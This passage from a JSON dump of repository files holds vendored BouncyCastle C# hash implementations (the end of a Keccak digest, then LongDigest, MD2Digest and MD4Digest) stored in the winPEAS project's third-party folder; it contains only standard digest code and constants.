^= ~a00 & a01;\n                a00 = c0;\n                a01 = c1;\n\n                c0 = a05 ^ (~a06 & a07);\n                c1 = a06 ^ (~a07 & a08);\n                a07 ^= ~a08 & a09;\n                a08 ^= ~a09 & a05;\n                a09 ^= ~a05 & a06;\n                a05 = c0;\n                a06 = c1;\n\n                c0 = a10 ^ (~a11 & a12);\n                c1 = a11 ^ (~a12 & a13);\n                a12 ^= ~a13 & a14;\n                a13 ^= ~a14 & a10;\n                a14 ^= ~a10 & a11;\n                a10 = c0;\n                a11 = c1;\n\n                c0 = a15 ^ (~a16 & a17);\n                c1 = a16 ^ (~a17 & a18);\n                a17 ^= ~a18 & a19;\n                a18 ^= ~a19 & a15;\n                a19 ^= ~a15 & a16;\n                a15 = c0;\n                a16 = c1;\n\n                c0 = a20 ^ (~a21 & a22);\n                c1 = a21 ^ (~a22 & a23);\n                a22 ^= ~a23 & a24;\n                a23 ^= ~a24 & a20;\n                a24 ^= ~a20 & a21;\n                a20 = c0;\n                a21 = c1;\n\n                // iota\n                a00 ^= KeccakRoundConstants[i];\n            }\n\n            A[ 0] = a00; A[ 1] = a01; A[ 2] = a02; A[ 3] = a03; A[ 4] = a04;\n            A[ 5] = a05; A[ 6] = a06; A[ 7] = a07; A[ 8] = a08; A[ 9] = a09;\n            A[10] = a10; A[11] = a11; A[12] = a12; A[13] = a13; A[14] = a14;\n            A[15] = a15; A[16] = a16; A[17] = a17; A[18] = a18; A[19] = a19;\n            A[20] = a20; A[21] = a21; A[22] = a22; A[23] = a23; A[24] = a24;\n        }\n\n        public virtual IMemoable Copy()\n        {\n            return new KeccakDigest(this);\n        }\n\n        public virtual void Reset(IMemoable other)\n        {\n            CopyIn((KeccakDigest)other);\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/crypto/digests/LongDigest.cs",
    "content": "using System;\nusing winPEAS._3rdParty.BouncyCastle.crypto.util;\nusing winPEAS._3rdParty.BouncyCastle.util;\n\nnamespace winPEAS._3rdParty.BouncyCastle.crypto.digests\n{\n    /**\n    * Base class for SHA-384 and SHA-512.\n    */\n    public abstract class LongDigest\n\t\t: IDigest, IMemoable\n    {\n        private int     MyByteLength = 128;\n\n        private byte[]  xBuf;\n        private int     xBufOff;\n\n        private long\tbyteCount1;\n        private long\tbyteCount2;\n\n        internal ulong H1, H2, H3, H4, H5, H6, H7, H8;\n\n        private ulong[] W = new ulong[80];\n        private int wOff;\n\n\t\t/**\n        * Constructor for variable length word\n        */\n        internal LongDigest()\n        {\n            xBuf = new byte[8];\n\n\t\t\tReset();\n        }\n\n\t\t/**\n        * Copy constructor.  We are using copy constructors in place\n        * of the object.Clone() interface as this interface is not\n        * supported by J2ME.\n        */\n        internal LongDigest(\n\t\t\tLongDigest t)\n\t\t{\n\t\t\txBuf = new byte[t.xBuf.Length];\n\n\t\t\tCopyIn(t);\n\t\t}\n\n\t\tprotected void CopyIn(LongDigest t)\n\t\t{\n            Array.Copy(t.xBuf, 0, xBuf, 0, t.xBuf.Length);\n\n            xBufOff = t.xBufOff;\n            byteCount1 = t.byteCount1;\n            byteCount2 = t.byteCount2;\n\n            H1 = t.H1;\n            H2 = t.H2;\n            H3 = t.H3;\n            H4 = t.H4;\n            H5 = t.H5;\n            H6 = t.H6;\n            H7 = t.H7;\n            H8 = t.H8;\n\n            Array.Copy(t.W, 0, W, 0, t.W.Length);\n            wOff = t.wOff;\n        }\n\n        public void Update(\n            byte input)\n        {\n            xBuf[xBufOff++] = input;\n\n            if (xBufOff == xBuf.Length)\n            {\n                ProcessWord(xBuf, 0);\n                xBufOff = 0;\n            }\n\n            byteCount1++;\n        }\n\n        public void BlockUpdate(\n            byte[]  input,\n            int     inOff,\n            int     length)\n        {\n            //\n            // fill the current word\n            //\n            while ((xBufOff != 0) && (length > 0))\n            {\n                Update(input[inOff]);\n\n                inOff++;\n                length--;\n            }\n\n            //\n            // process whole words.\n            //\n            while (length > xBuf.Length)\n            {\n                ProcessWord(input, inOff);\n\n                inOff += xBuf.Length;\n                length -= xBuf.Length;\n                byteCount1 += xBuf.Length;\n            }\n\n            //\n            // load in the remainder.\n            //\n            while (length > 0)\n            {\n                Update(input[inOff]);\n\n                inOff++;\n                length--;\n            }\n        }\n\n        public void Finish()\n        {\n            AdjustByteCounts();\n\n            long    lowBitLength = byteCount1 << 3;\n            long    hiBitLength = byteCount2;\n\n            //\n            // add the pad bytes.\n            //\n            Update((byte)128);\n\n            while (xBufOff != 0)\n            {\n                Update((byte)0);\n            }\n\n            ProcessLength(lowBitLength, hiBitLength);\n\n            ProcessBlock();\n        }\n\n        public virtual void Reset()\n        {\n            byteCount1 = 0;\n            byteCount2 = 0;\n\n            xBufOff = 0;\n            for ( int i = 0; i < xBuf.Length; i++ )\n            {\n                xBuf[i] = 0;\n            }\n\n            wOff = 0;\n\t\t\tArray.Clear(W, 0, W.Length);\n        }\n\n        internal void ProcessWord(\n            byte[]  input,\n            int     inOff)\n        {\n\t\t\tW[wOff] = Pack.BE_To_UInt64(input, inOff);\n\n            if (++wOff == 16)\n            {\n                ProcessBlock();\n            }\n        }\n\n\t\t/**\n        * adjust the byte counts so that byteCount2 represents the\n        * upper long (less 3 bits) word of the byte count.\n        */\n        private void AdjustByteCounts()\n        {\n            if (byteCount1 > 0x1fffffffffffffffL)\n            {\n                byteCount2 += (long) ((ulong) byteCount1 >> 61);\n                byteCount1 &= 0x1fffffffffffffffL;\n            }\n        }\n\n        internal void ProcessLength(\n            long\tlowW,\n            long\thiW)\n        {\n            if (wOff > 14)\n            {\n                ProcessBlock();\n            }\n\n            W[14] = (ulong)hiW;\n            W[15] = (ulong)lowW;\n        }\n\n        internal void ProcessBlock()\n        {\n            AdjustByteCounts();\n\n            //\n            // expand 16 word block into 80 word blocks.\n            //\n            for (int ti = 16; ti <= 79; ++ti)\n            {\n                W[ti] = Sigma1(W[ti - 2]) + W[ti - 7] + Sigma0(W[ti - 15]) + W[ti - 16];\n            }\n\n            //\n            // set up working variables.\n            //\n            ulong a = H1;\n            ulong b = H2;\n            ulong c = H3;\n            ulong d = H4;\n            ulong e = H5;\n            ulong f = H6;\n            ulong g = H7;\n            ulong h = H8;\n\n\t\t\tint t = 0;\n\t\t\tfor(int i = 0; i < 10; i ++)\n\t\t\t{\n\t\t\t\t// t = 8 * i\n\t\t\t\th += Sum1(e) + Ch(e, f, g) + K[t] + W[t++];\n\t\t\t\td += h;\n\t\t\t\th += Sum0(a) + Maj(a, b, c);\n\n\t\t\t\t// t = 8 * i + 1\n\t\t\t\tg += Sum1(d) + Ch(d, e, f) + K[t] + W[t++];\n\t\t\t\tc += g;\n\t\t\t\tg += Sum0(h) + Maj(h, a, b);\n\n\t\t\t\t// t = 8 * i + 2\n\t\t\t\tf += Sum1(c) + Ch(c, d, e) + K[t] + W[t++];\n\t\t\t\tb += f;\n\t\t\t\tf += Sum0(g) + Maj(g, h, a);\n\n\t\t\t\t// t = 8 * i + 3\n\t\t\t\te += Sum1(b) + Ch(b, c, d) + K[t] + W[t++];\n\t\t\t\ta += e;\n\t\t\t\te += Sum0(f) + Maj(f, g, h);\n\n\t\t\t\t// t = 8 * i + 4\n\t\t\t\td += Sum1(a) + Ch(a, b, c) + K[t] + W[t++];\n\t\t\t\th += d;\n\t\t\t\td += Sum0(e) + Maj(e, f, g);\n\n\t\t\t\t// t = 8 * i + 5\n\t\t\t\tc += Sum1(h) + Ch(h, a, b) + K[t] + W[t++];\n\t\t\t\tg += c;\n\t\t\t\tc += Sum0(d) + Maj(d, e, f);\n\n\t\t\t\t// t = 8 * i + 6\n\t\t\t\tb += Sum1(g) + Ch(g, h, a) + K[t] + W[t++];\n\t\t\t\tf += b;\n\t\t\t\tb += Sum0(c) + Maj(c, d, e);\n\n\t\t\t\t// t = 8 * i + 7\n\t\t\t\ta += Sum1(f) + Ch(f, g, h) + K[t] + W[t++];\n\t\t\t\te += a;\n\t\t\t\ta += Sum0(b) + Maj(b, c, d);\n\t\t\t}\n\n\t\t\tH1 += a;\n            H2 += b;\n            H3 += c;\n            H4 += d;\n            H5 += e;\n            H6 += f;\n            H7 += g;\n            H8 += h;\n\n\t\t\t//\n            // reset the offset and clean out the word buffer.\n            //\n            wOff = 0;\n\t\t\tArray.Clear(W, 0, 16);\n\t\t}\n\n\t\t/* SHA-384 and SHA-512 functions (as for SHA-256 but for longs) */\n        private static ulong Ch(ulong x, ulong y, ulong z)\n        {\n            return (x & y) ^ (~x & z);\n        }\n\n        private static ulong Maj(ulong x, ulong y, ulong z)\n        {\n            return (x & y) ^ (x & z) ^ (y & z);\n        }\n\n        private static ulong Sum0(ulong x)\n        {\n\t        return ((x << 36) | (x >> 28)) ^ ((x << 30) | (x >> 34)) ^ ((x << 25) | (x >> 39));\n        }\n\n\t\tprivate static ulong Sum1(ulong x)\n        {\n\t        return ((x << 50) | (x >> 14)) ^ ((x << 46) | (x >> 18)) ^ ((x << 23) | (x >> 41));\n        }\n\n        private static ulong Sigma0(ulong x)\n        {\n\t        return ((x << 63) | (x >> 1)) ^ ((x << 56) | (x >> 8)) ^ (x >> 7);\n        }\n\n        private static ulong Sigma1(ulong x)\n        {\n\t        return ((x << 45) | (x >> 19)) ^ ((x << 3) | (x >> 61)) ^ (x >> 6);\n        }\n\n        /* SHA-384 and SHA-512 Constants\n         * (represent the first 64 bits of the fractional parts of the\n         * cube roots of the first sixty-four prime numbers)\n         */\n\t\tinternal static readonly ulong[] K =\n\t\t{\n\t\t\t0x428a2f98d728ae22, 0x7137449123ef65cd, 0xb5c0fbcfec4d3b2f, 0xe9b5dba58189dbbc,\n\t\t\t0x3956c25bf348b538, 0x59f111f1b605d019, 0x923f82a4af194f9b, 0xab1c5ed5da6d8118,\n\t\t\t0xd807aa98a3030242, 0x12835b0145706fbe, 0x243185be4ee4b28c, 0x550c7dc3d5ffb4e2,\n\t\t\t0x72be5d74f27b896f, 0x80deb1fe3b1696b1, 0x9bdc06a725c71235, 0xc19bf174cf692694,\n\t\t\t0xe49b69c19ef14ad2, 0xefbe4786384f25e3, 0x0fc19dc68b8cd5b5, 0x240ca1cc77ac9c65,\n\t\t\t0x2de92c6f592b0275, 0x4a7484aa6ea6e483, 0x5cb0a9dcbd41fbd4, 0x76f988da831153b5,\n\t\t\t0x983e5152ee66dfab, 0xa831c66d2db43210, 0xb00327c898fb213f, 0xbf597fc7beef0ee4,\n\t\t\t0xc6e00bf33da88fc2, 0xd5a79147930aa725, 0x06ca6351e003826f, 0x142929670a0e6e70,\n\t\t\t0x27b70a8546d22ffc, 0x2e1b21385c26c926, 0x4d2c6dfc5ac42aed, 0x53380d139d95b3df,\n\t\t\t0x650a73548baf63de, 0x766a0abb3c77b2a8, 0x81c2c92e47edaee6, 0x92722c851482353b,\n\t\t\t0xa2bfe8a14cf10364, 0xa81a664bbc423001, 0xc24b8b70d0f89791, 0xc76c51a30654be30,\n\t\t\t0xd192e819d6ef5218, 0xd69906245565a910, 0xf40e35855771202a, 0x106aa07032bbd1b8,\n\t\t\t0x19a4c116b8d2d0c8, 0x1e376c085141ab53, 0x2748774cdf8eeb99, 0x34b0bcb5e19b48a8,\n\t\t\t0x391c0cb3c5c95a63, 0x4ed8aa4ae3418acb, 0x5b9cca4f7763e373, 0x682e6ff3d6b2b8a3,\n\t\t\t0x748f82ee5defb2fc, 0x78a5636f43172f60, 0x84c87814a1f0ab72, 0x8cc702081a6439ec,\n\t\t\t0x90befffa23631e28, 0xa4506cebde82bde9, 0xbef9a3f7b2c67915, 0xc67178f2e372532b,\n\t\t\t0xca273eceea26619c, 0xd186b8c721c0c207, 0xeada7dd6cde0eb1e, 0xf57d4f7fee6ed178,\n\t\t\t0x06f067aa72176fba, 0x0a637dc5a2c898a6, 0x113f9804bef90dae, 0x1b710b35131c471b,\n\t\t\t0x28db77f523047d84, 0x32caab7b40c72493, 0x3c9ebe0a15c9bebc, 0x431d67c49c100d4c,\n\t\t\t0x4cc5d4becb3e42b6, 0x597f299cfc657e2a, 0x5fcb6fab3ad6faec, 0x6c44198c4a475817\n\t\t};\n\n\t\tpublic int GetByteLength()\n\t\t{\n\t\t\treturn MyByteLength;\n\t\t}\n\n\t\tpublic abstract string AlgorithmName { get; }\n\t\tpublic abstract int GetDigestSize();\n        public abstract int DoFinal(byte[] output, int outOff);\n\t\tpublic abstract IMemoable Copy();\n\t\tpublic abstract void Reset(IMemoable t);\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/crypto/digests/MD2Digest.cs",
    "content": "using System;\nusing winPEAS._3rdParty.BouncyCastle.util;\n\nnamespace winPEAS._3rdParty.BouncyCastle.crypto.digests\n{\n\n    /**\n    * implementation of MD2\n    * as outlined in RFC1319 by B.Kaliski from RSA Laboratories April 1992\n    */\n    public class MD2Digest\n\t\t: IDigest, IMemoable\n    {\n        private const int DigestLength = 16;\n        private const int BYTE_LENGTH = 16;\n\n        /* X buffer */\n        private byte[]   X = new byte[48];\n        private int     xOff;\n\n        /* M buffer */\n\n        private byte[]   M = new byte[16];\n        private int     mOff;\n\n        /* check sum */\n\n        private byte[]   C = new byte[16];\n        private int COff;\n\n        public MD2Digest()\n        {\n            Reset();\n        }\n\n        public MD2Digest(MD2Digest t)\n\t\t{\n\t\t\tCopyIn(t);\n\t\t}\n\n\t\tprivate void CopyIn(MD2Digest t)\n\t\t{\n            Array.Copy(t.X, 0, X, 0, t.X.Length);\n            xOff = t.xOff;\n            Array.Copy(t.M, 0, M, 0, t.M.Length);\n            mOff = t.mOff;\n            Array.Copy(t.C, 0, C, 0, t.C.Length);\n            COff = t.COff;\n        }\n\n        /**\n        * return the algorithm name\n        *\n        * @return the algorithm name\n        */\n        public string AlgorithmName\n\t\t{\n\t\t\tget { return \"MD2\"; }\n\t\t}\n\n\t\tpublic int GetDigestSize()\n\t\t{\n\t\t\treturn DigestLength;\n\t\t}\n\n\t\tpublic int GetByteLength()\n\t\t{\n\t\t\treturn BYTE_LENGTH;\n\t\t}\n\n\t\t/**\n        * Close the digest, producing the final digest value. The doFinal\n        * call leaves the digest reset.\n        *\n        * @param out the array the digest is to be copied into.\n        * @param outOff the offset into the out array the digest is to start at.\n        */\n        public int DoFinal(byte[] output, int outOff)\n        {\n            // add padding\n            byte paddingByte = (byte)(M.Length - mOff);\n            for (int i=mOff;i<M.Length;i++)\n            {\n                M[i] = paddingByte;\n            }\n            //do final check sum\n            ProcessChecksum(M);\n            // do final block process\n            ProcessBlock(M);\n\n            ProcessBlock(C);\n\n            Array.Copy(X, xOff, output, outOff, 16);\n\n            Reset();\n\n            return DigestLength;\n        }\n\n        /**\n        * reset the digest back to it's initial state.\n        */\n        public void Reset()\n        {\n            xOff = 0;\n            for (int i = 0; i != X.Length; i++)\n            {\n                X[i] = 0;\n            }\n            mOff = 0;\n            for (int i = 0; i != M.Length; i++)\n            {\n                M[i] = 0;\n            }\n            COff = 0;\n            for (int i = 0; i != C.Length; i++)\n            {\n                C[i] = 0;\n            }\n        }\n        /**\n        * update the message digest with a single byte.\n        *\n        * @param in the input byte to be entered.\n        */\n        public void Update(byte input)\n        {\n            M[mOff++] = input;\n\n            if (mOff == 16)\n            {\n                ProcessChecksum(M);\n                ProcessBlock(M);\n                mOff = 0;\n            }\n        }\n\n        /**\n        * update the message digest with a block of bytes.\n        *\n        * @param in the byte array containing the data.\n        * @param inOff the offset into the byte array where the data starts.\n        * @param len the length of the data.\n        */\n        public void BlockUpdate(byte[] input, int inOff, int length)\n        {\n            //\n            // fill the current word\n            //\n            while ((mOff != 0) && (length > 0))\n            {\n                Update(input[inOff]);\n                inOff++;\n                length--;\n            }\n\n            //\n            // process whole words.\n            //\n            while (length > 16)\n            {\n                Array.Copy(input,inOff,M,0,16);\n                ProcessChecksum(M);\n                ProcessBlock(M);\n                length -= 16;\n                inOff += 16;\n            }\n\n            //\n            // load in the remainder.\n            //\n            while (length > 0)\n            {\n                Update(input[inOff]);\n                inOff++;\n                length--;\n            }\n        }\n\n        internal void ProcessChecksum(byte[] m)\n        {\n            int L = C[15];\n            for (int i=0;i<16;i++)\n            {\n                C[i] ^= S[(m[i] ^ L) & 0xff];\n                L = C[i];\n            }\n        }\n        internal void ProcessBlock(byte[] m)\n        {\n            for (int i=0;i<16;i++)\n            {\n                X[i+16] = m[i];\n                X[i+32] = (byte)(m[i] ^ X[i]);\n            }\n            // encrypt block\n            int t = 0;\n\n            for (int j=0;j<18;j++)\n            {\n                for (int k=0;k<48;k++)\n                {\n                    t = X[k] ^= S[t];\n                    t = t & 0xff;\n                }\n                t = (t + j)%256;\n            }\n        }\n\n\n\n        // 256-byte random permutation constructed from the digits of PI\n        private static readonly byte[] S = {\n        (byte)41,(byte)46,(byte)67,(byte)201,(byte)162,(byte)216,(byte)124,\n        (byte)1,(byte)61,(byte)54,(byte)84,(byte)161,(byte)236,(byte)240,\n        (byte)6,(byte)19,(byte)98,(byte)167,(byte)5,(byte)243,(byte)192,\n        (byte)199,(byte)115,(byte)140,(byte)152,(byte)147,(byte)43,(byte)217,\n        (byte)188,(byte)76,(byte)130,(byte)202,(byte)30,(byte)155,(byte)87,\n        (byte)60,(byte)253,(byte)212,(byte)224,(byte)22,(byte)103,(byte)66,\n        (byte)111,(byte)24,(byte)138,(byte)23,(byte)229,(byte)18,(byte)190,\n        (byte)78,(byte)196,(byte)214,(byte)218,(byte)158,(byte)222,(byte)73,\n        (byte)160,(byte)251,(byte)245,(byte)142,(byte)187,(byte)47,(byte)238,\n        (byte)122,(byte)169,(byte)104,(byte)121,(byte)145,(byte)21,(byte)178,\n        (byte)7,(byte)63,(byte)148,(byte)194,(byte)16,(byte)137,(byte)11,\n        (byte)34,(byte)95,(byte)33,(byte)128,(byte)127,(byte)93,(byte)154,\n        (byte)90,(byte)144,(byte)50,(byte)39,(byte)53,(byte)62,(byte)204,\n        (byte)231,(byte)191,(byte)247,(byte)151,(byte)3,(byte)255,(byte)25,\n        (byte)48,(byte)179,(byte)72,(byte)165,(byte)181,(byte)209,(byte)215,\n        (byte)94,(byte)146,(byte)42,(byte)172,(byte)86,(byte)170,(byte)198,\n        (byte)79,(byte)184,(byte)56,(byte)210,(byte)150,(byte)164,(byte)125,\n        (byte)182,(byte)118,(byte)252,(byte)107,(byte)226,(byte)156,(byte)116,\n        (byte)4,(byte)241,(byte)69,(byte)157,(byte)112,(byte)89,(byte)100,\n        (byte)113,(byte)135,(byte)32,(byte)134,(byte)91,(byte)207,(byte)101,\n        (byte)230,(byte)45,(byte)168,(byte)2,(byte)27,(byte)96,(byte)37,\n        (byte)173,(byte)174,(byte)176,(byte)185,(byte)246,(byte)28,(byte)70,\n        (byte)97,(byte)105,(byte)52,(byte)64,(byte)126,(byte)15,(byte)85,\n        (byte)71,(byte)163,(byte)35,(byte)221,(byte)81,(byte)175,(byte)58,\n        (byte)195,(byte)92,(byte)249,(byte)206,(byte)186,(byte)197,(byte)234,\n        (byte)38,(byte)44,(byte)83,(byte)13,(byte)110,(byte)133,(byte)40,\n        (byte)132, 9,(byte)211,(byte)223,(byte)205,(byte)244,(byte)65,\n        (byte)129,(byte)77,(byte)82,(byte)106,(byte)220,(byte)55,(byte)200,\n        (byte)108,(byte)193,(byte)171,(byte)250,(byte)36,(byte)225,(byte)123,\n        (byte)8,(byte)12,(byte)189,(byte)177,(byte)74,(byte)120,(byte)136,\n        (byte)149,(byte)139,(byte)227,(byte)99,(byte)232,(byte)109,(byte)233,\n        (byte)203,(byte)213,(byte)254,(byte)59,(byte)0,(byte)29,(byte)57,\n        (byte)242,(byte)239,(byte)183,(byte)14,(byte)102,(byte)88,(byte)208,\n        (byte)228,(byte)166,(byte)119,(byte)114,(byte)248,(byte)235,(byte)117,\n        (byte)75,(byte)10,(byte)49,(byte)68,(byte)80,(byte)180,(byte)143,\n        (byte)237,(byte)31,(byte)26,(byte)219,(byte)153,(byte)141,(byte)51,\n        (byte)159,(byte)17,(byte)131,(byte)20\n        };\n\n\t\tpublic IMemoable Copy()\n\t\t{\n\t\t\treturn new MD2Digest(this);\n\t\t}\n\n\t\tpublic void Reset(IMemoable other)\n\t\t{\n\t\t\tMD2Digest d = (MD2Digest)other;\n\n\t\t\tCopyIn(d);\n\t\t}\n\n    }\n\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/crypto/digests/MD4Digest.cs",
    "content": "using System;\nusing winPEAS._3rdParty.BouncyCastle.util;\n\nnamespace winPEAS._3rdParty.BouncyCastle.crypto.digests\n{\n    /**\n    * implementation of MD4 as RFC 1320 by R. Rivest, MIT Laboratory for\n    * Computer Science and RSA Data Security, Inc.\n    * <p>\n    * <b>NOTE</b>: This algorithm is only included for backwards compatibility\n    * with legacy applications, it's not secure, don't use it for anything new!</p>\n    */\n    public class MD4Digest\n\t\t: GeneralDigest\n    {\n        private const int    DigestLength = 16;\n\n        private int     H1, H2, H3, H4;         // IV's\n\n        private int[]   X = new int[16];\n        private int     xOff;\n\n        /**\n        * Standard constructor\n        */\n        public MD4Digest()\n        {\n            Reset();\n        }\n\n        /**\n        * Copy constructor.  This will copy the state of the provided\n        * message digest.\n        */\n        public MD4Digest(MD4Digest t) : base(t)\n\t\t{\n\t\t\tCopyIn(t);\n\t\t}\n\n\t\tprivate void CopyIn(MD4Digest t)\n\t\t{\n\t\t\tbase.CopyIn(t);\n            H1 = t.H1;\n            H2 = t.H2;\n            H3 = t.H3;\n            H4 = t.H4;\n\n            Array.Copy(t.X, 0, X, 0, t.X.Length);\n            xOff = t.xOff;\n        }\n\n\t\tpublic override string AlgorithmName\n\t\t{\n\t\t\tget { return \"MD4\"; }\n\t\t}\n\n\t\tpublic override int GetDigestSize()\n\t\t{\n\t\t\treturn DigestLength;\n\t\t}\n\n\t\tinternal override void ProcessWord(\n            byte[]  input,\n            int     inOff)\n        {\n            X[xOff++] = (input[inOff] & 0xff) | ((input[inOff + 1] & 0xff) << 8)\n                | ((input[inOff + 2] & 0xff) << 16) | ((input[inOff + 3] & 0xff) << 24);\n\n            if (xOff == 16)\n            {\n                ProcessBlock();\n            }\n        }\n\n        internal override void ProcessLength(\n            long    bitLength)\n        {\n            if (xOff > 14)\n            {\n                ProcessBlock();\n            }\n\n            X[14] = (int)(bitLength & 0xffffffff);\n            X[15] = (int)((ulong) bitLength >> 32);\n        }\n\n        private void UnpackWord(\n            int     word,\n            byte[]  outBytes,\n            int     outOff)\n        {\n            outBytes[outOff]     = (byte)word;\n            outBytes[outOff + 1] = (byte)((uint) word >> 8);\n            outBytes[outOff + 2] = (byte)((uint) word >> 16);\n            outBytes[outOff + 3] = (byte)((uint) word >> 24);\n        }\n\n        public override int DoFinal(\n            byte[]  output,\n            int     outOff)\n        {\n            Finish();\n\n            UnpackWord(H1, output, outOff);\n            UnpackWord(H2, output, outOff + 4);\n            UnpackWord(H3, output, outOff + 8);\n            UnpackWord(H4, output, outOff + 12);\n\n            Reset();\n\n            return DigestLength;\n        }\n\n        /**\n        * reset the chaining variables to the IV values.\n        */\n        public override void Reset()\n        {\n            base.Reset();\n\n            H1 = unchecked((int) 0x67452301);\n            H2 = unchecked((int) 0xefcdab89);\n            H3 = unchecked((int) 0x98badcfe);\n            H4 = unchecked((int) 0x10325476);\n\n            xOff = 0;\n\n            for (int i = 0; i != X.Length; i++)\n            {\n                X[i] = 0;\n            }\n        }\n\n        //\n        // round 1 left rotates\n        //\n        private const int S11 = 3;\n        private const int S12 = 7;\n        private const int S13 = 11;\n        private const int S14 = 19;\n\n        //\n        // round 2 left rotates\n        //\n        private const int S21 = 3;\n        private const int S22 = 5;\n        private const int S23 = 9;\n        private const int S24 = 13;\n\n        //\n        // round 3 left rotates\n        //\n        private const int S31 = 3;\n        private const int S32 = 9;\n        private const int S33 = 11;\n        private const int S34 = 15;\n\n        /*\n        * rotate int x left n bits.\n        */\n        private int RotateLeft(\n            int x,\n            int n)\n        {\n            return (x << n) | (int) ((uint) x >> (32 - n));\n        }\n\n        /*\n        * F, G, H and I are the basic MD4 functions.\n        */\n        private int F(\n            int u,\n            int v,\n            int w)\n        {\n            return (u & v) | (~u & w);\n        }\n\n        private int G(\n            int u,\n            int v,\n            int w)\n        {\n            return (u & v) | (u & w) | (v & w);\n        }\n\n        private int H(\n            int u,\n            int v,\n            int w)\n        {\n            return u ^ v ^ w;\n        }\n\n        internal override void ProcessBlock()\n        {\n            int a = H1;\n            int b = H2;\n            int c = H3;\n            int d = H4;\n\n            //\n            // Round 1 - F cycle, 16 times.\n            //\n            a = RotateLeft((a + F(b, c, d) + X[ 0]), S11);\n            d = RotateLeft((d + F(a, b, c) + X[ 1]), S12);\n            c = RotateLeft((c + F(d, a, b) + X[ 2]), S13);\n            b = RotateLeft((b + F(c, d, a) + X[ 3]), S14);\n            a = RotateLeft((a + F(b, c, d) + X[ 4]), S11);\n            d = RotateLeft((d + F(a, b, c) + X[ 5]), S12);\n            c = RotateLeft((c + F(d, a, b) + X[ 6]), S13);\n            b = RotateLeft((b + F(c, d, a) + X[ 7]), S14);\n            a = RotateLeft((a + F(b, c, d) + X[ 8]), S11);\n            d = RotateLeft((d + F(a, b, c) + X[ 9]), S12);\n            c = RotateLeft((c + F(d, a, b) + X[10]), S13);\n            b = RotateLeft((b + F(c, d, a) + X[11]), S14);\n            a = RotateLeft((a + F(b, c, d) + X[12]), S11);\n            d = RotateLeft((d + F(a, b, c) + X[13]), S12);\n            c = RotateLeft((c + F(d, a, b) + X[14]), S13);\n            b = RotateLeft((b + F(c, d, a) + X[15]), S14);\n\n            //\n            // Round 2 - G cycle, 16 times.\n            //\n            a = RotateLeft((a + G(b, c, d) + X[ 0] + 0x5a827999), S21);\n            d = RotateLeft((d + G(a, b, c) + X[ 4] + 0x5a827999), S22);\n            c = RotateLeft((c + G(d, a, b) + X[ 8] + 0x5a827999), S23);\n            b = RotateLeft((b + G(c, d, a) + X[12] + 0x5a827999), S24);\n            a = RotateLeft((a + G(b, c, d) + X[ 1] + 0x5a827999), S21);\n            d = RotateLeft((d + G(a, b, c) + X[ 5] + 0x5a827999), S22);\n            c = RotateLeft((c + G(d, a, b) + X[ 9] + 0x5a827999), S23);\n            b = RotateLeft((b + G(c, d, a) + X[13] + 0x5a827999), S24);\n            a = RotateLeft((a + G(b, c, d) + X[ 2] + 0x5a827999), S21);\n            d = RotateLeft((d + G(a, b, c) + X[ 6] + 0x5a827999), S22);\n            c = RotateLeft((c + G(d, a, b) + X[10] + 0x5a827999), S23);\n            b = RotateLeft((b + G(c, d, a) + X[14] + 0x5a827999), S24);\n            a = RotateLeft((a + G(b, c, d) + X[ 3] + 0x5a827999), S21);\n            d = RotateLeft((d + G(a, b, c) + X[ 7] + 0x5a827999), S22);\n            c = RotateLeft((c + G(d, a, b) + X[11] + 0x5a827999), S23);\n            b = RotateLeft((b + G(c, d, a) + X[15] + 0x5a827999), S24);\n\n            //\n            // Round 3 - H cycle, 16 times.\n            //\n            a = RotateLeft((a + H(b, c, d) + X[ 0] + 0x6ed9eba1), S31);\n            d = RotateLeft((d + H(a, b, c) + X[ 8] + 0x6ed9eba1), S32);\n            c = RotateLeft((c + H(d, a, b) + X[ 4] + 0x6ed9eba1), S33);\n            b = RotateLeft((b + H(c, d, a) + X[12] + 0x6ed9eba1), S34);\n            a = RotateLeft((a + H(b, c, d) + X[ 2] + 0x6ed9eba1), S31);\n            d = RotateLeft((d + H(a, b, c) + X[10] + 0x6ed9eba1), S32);\n            c = RotateLeft((c + H(d, a, b) + X[ 6] + 0x6ed9eba1), S33);\n            b = RotateLeft((b + H(c, d, a) + X[14] + 0x6ed9eba1), S34);\n            a = RotateLeft((a + H(b, c, d) + X[ 1] + 0x6ed9eba1), S31);\n            d = RotateLeft((d + H(a, b, c) + X[ 9] + 0x6ed9eba1), S32);\n            c = RotateLeft((c + H(d, a, b) + X[ 5] + 0x6ed9eba1), S33);\n            b = RotateLeft((b + H(c, d, a) + X[13] + 0x6ed9eba1), S34);\n            a = RotateLeft((a + H(b, c, d) + X[ 3] + 0x6ed9eba1), S31);\n            d = RotateLeft((d + H(a, b, c) + X[11] + 0x6ed9eba1), S32);\n            c = RotateLeft((c + H(d, a, b) + X[ 7] + 0x6ed9eba1), S33);\n            b = RotateLeft((b + H(c, d, a) + X[15] + 0x6ed9eba1), S34);\n\n            H1 += a;\n            H2 += b;\n            H3 += c;\n            H4 += d;\n\n            //\n            // reset the offset and clean out the word buffer.\n            //\n            xOff = 0;\n            for (int i = 0; i != X.Length; i++)\n            {\n                X[i] = 0;\n            }\n        }\n\n\t\tpublic override IMemoable Copy()\n\t\t{\n\t\t\treturn new MD4Digest(this);\n\t\t}\n\n\t\tpublic override void Reset(IMemoable other)\n\t\t{\n\t\t\tMD4Digest d = (MD4Digest)other;\n\n\t\t\tCopyIn(d);\n\t\t}\n\n    }\n\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/crypto/digests/MD5Digest.cs",
